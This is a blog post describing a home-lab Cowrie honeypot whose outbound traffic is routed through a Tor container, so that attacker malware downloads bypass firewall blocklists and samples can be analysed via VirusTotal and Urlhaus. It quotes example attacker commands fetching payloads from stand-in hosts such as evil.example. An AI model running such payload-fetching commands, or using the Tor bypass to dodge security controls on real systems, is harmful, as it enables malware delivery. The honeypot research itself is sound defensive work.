I Made My Honeypot Download Malware.
DEV Community

I Made My Honeypot Download Malware.

TL;DR: I wanted Cowrie to actually download the malware attackers were throwing at it. Unfortunately, my security controls had other ideas. I found a way around the problem without weakening my OPNsense rules. Table of Contents - The problem: my honeypot was too well protected - Why I didn't just whitelist Cowrie - The solution: Cowrie goes Tor - The Docker Compose - Now the download actually happens - And now things get interesting - One important disclaimer The problem: my honeypot was too well protected I've been playing around with Cowrie in my home lab, running it in Docker on Proxmox behind OPNsense. The goal is pretty simple: Let attackers do stupid things to a machine that exists specifically so attackers can do stupid things to it. I wanted Cowrie to capture malware that attackers were trying to download, then automatically send useful bits of it to VirusTotal and Urlhaus. There was just one small problem. My firewall was doing its job. Which, in this particular case, was extremely inconvenient. My network looks roughly like this: Internet | v OPNsense | +-- CrowdSec | v Proxmox | +-- Cowrie OPNsense is doing the usual sensible security things, including CrowdSec blocking known malicious destinations. Normally: Excellent. Five stars. Keep doing that. But Cowrie is not a normal server. If an attacker gets a shell and runs: wget http://some-sketchy-ip/payload I don't want OPNsense to say: "Absolutely not, that's malware." I want Cowrie to say: "Oh? You're downloading something? By all means. Please continue." Because that's literally why the honeypot exists. Instead, I was getting something like: Attacker | v Cowrie | v wget http://evil.example/payload | v OPNsense | v NOPE The malicious URL was known to CrowdSec, so the outbound connection was blocked. No download. No sample. No analysis. Just a very secure honeypot sitting there politely refusing to get hacked. Not exactly what I ordered. Why I didn't just whitelist Cowrie The obvious solution is to create a firewall rule: "Cowrie is allowed to connect to malicious things." Technically, sure. But I really didn't like that approach. I'd be turning the honeypot into a special trusted machine and then maintaining firewall exceptions around it. That's backwards. The whole point of the honeypot is that I don't trust it. So instead of teaching OPNsense to trust Cowrie, I decided to make Cowrie's outbound traffic go somewhere else. Enter Tor. The solution: Cowrie goes Tor The new setup looks like this: Internet ^ | Tor network ^ | +------+------+ | tor-router | | Docker | +------+------+ | shared network namespace | +------+------+ | Cowrie | +------------+ | Proxmox | OPNsense | Internet The trick is that Cowrie and the Tor container share the same network namespace. This line is the important one: network_mode: "container:tor-router" Cowrie basically gets shoved into the Tor container's network stack. Then iptables transparently redirects outbound TCP and DNS traffic to Tor. No proxy configuration inside Cowrie. No modifying whatever malware happens to be running. No trying to predict which ports or protocols an attacker will use. Cowrie just thinks it has normal Internet access. It doesn't. And that's exactly what I want. The Docker Compose Here's the whole thing: version: '3.8' services: tor-router: image: alpine:latest container_name: tor-router # Cowrie shares this container's network namespace, # so its ports need to be exposed here. ports: - "2222:2222" - "2223:2223" cap_add: - NET_ADMIN entrypoint: > sh -c " apk add --no-cache tor iptables && echo -e 'Log notice stdout\nDataDirectory /var/lib/tor\nUser tor\nTransPort 127.0.0.1:9040\nDNSPort 127.0.0.1:5353' > /etc/tor/torrc && iptables -t nat -A OUTPUT -p tcp -m owner --uid-owner tor -j RETURN && iptables -t nat -A OUTPUT -p tcp -j REDIRECT --to-ports 9040 && iptables -t nat -A OUTPUT -p udp --dport 53 -j REDIRECT --to-ports 5353 && tor -f /etc/tor/torrc " restart: always cowrie: image: cowrie/cowrie:latest container_name: cowrie-honeypot # This is the magic. network_mode: "container:tor-router" volumes: - ./cowrie-var:/path/to/cowrie/var - ./cowrie.cfg:/path/to/cowrie/etc/cowrie.cfg:ro depends_on: - tor-router restart: always There are two things worth understanding here. 1. Cowrie shares the Tor network namespace network_mode: "container:tor-router" This means Cowrie doesn't have its own network namespace. It uses the one belonging to tor-router . Consequently, the published Cowrie ports also have to be configured on tor-router : ports: - "2222:2222" - "2223:2223" Otherwise Docker gets understandably confused about where those ports are supposed to go. 2. iptables catches Cowrie's traffic Tor is listening on: TransPort 127.0.0.1:9040 DNSPort 127.0.0.1:5353 TCP traffic gets redirected: iptables -t nat -A OUTPUT -p tcp -j REDIRECT --to-ports 9040 DNS gets redirected: iptables -t nat -A OUTPUT -p udp --dport 53 -j REDIRECT --to-ports 5353 But there's an important exception: iptables -t nat -A OUTPUT \ -p tcp \ -m owner --uid-owner tor \ -j RETURN Otherwise Tor would catch its own traffic and send it back into its own transparent proxy. Which would be bad. Very bad. Now the download actually happens The attacker does: wget http://evil.example/payload Cowrie sees it. The connection gets redirected to Tor. Tor takes it from there. Eventually: Cowrie | v iptables | v Tor | v Tor exit | v evil.example | v payload And finally Cowrie gets the thing I actually wanted: the malware. Meanwhile, my normal network still goes through OPNsense and CrowdSec exactly as before. That's the important bit. I haven't told my firewall: "Hey, malicious destinations are fine now." I've effectively told the honeypot: "You're on your own. Good luck." Which feels much more appropriate. And now things get interesting Once Cowrie can actually retrieve the files, I can build a useful pipeline around them. Something like: Cowrie | download event | v Malware file | +--------+--------+ | | v v SHA-256 Urlhaus | v VirusTotal I've also been working on an Urlhaus output module for Cowrie, so this experiment has turned into a bit of a rabbit hole. The interesting part isn't really "I made Cowrie use Tor." It's the combination of: honeypot โ†’ capture โ†’ enrichment โ†’ threat intelligence Instead of: "Look, my honeypot got attacked." I wanted: "Look, my honeypot got attacked, here's what they downloaded, here's the hash, here's where it came from, and here's what the threat-intelligence services know about it." That's considerably more useful. One important disclaimer This is a honeypot. It is an open invite to all things nasty and evil on the internet. It is deliberately allowing potentially hostile software to make outbound connections. Do not copy this architecture and put your production server behind it because some guy on the internet said it was cool. The honeypot should be isolated from anything you actually care about. For me, the nice property of this setup is that I don't need to weaken my normal OPNsense/CrowdSec security controls just to make the honeypot useful. TOR also hides my identity from remote malware sites thus also preserving honeypot's existence. My normal machines can continue to get: BLOCKED when they try to connect to known malicious infrastructure. Cowrie gets: Sure, go ahead. Let's see what happens. That's exactly the separation I wanted. Top comments (0)

Read on DEV Community ↗ ← Back to News

Comments

No comments yet. Start the discussion.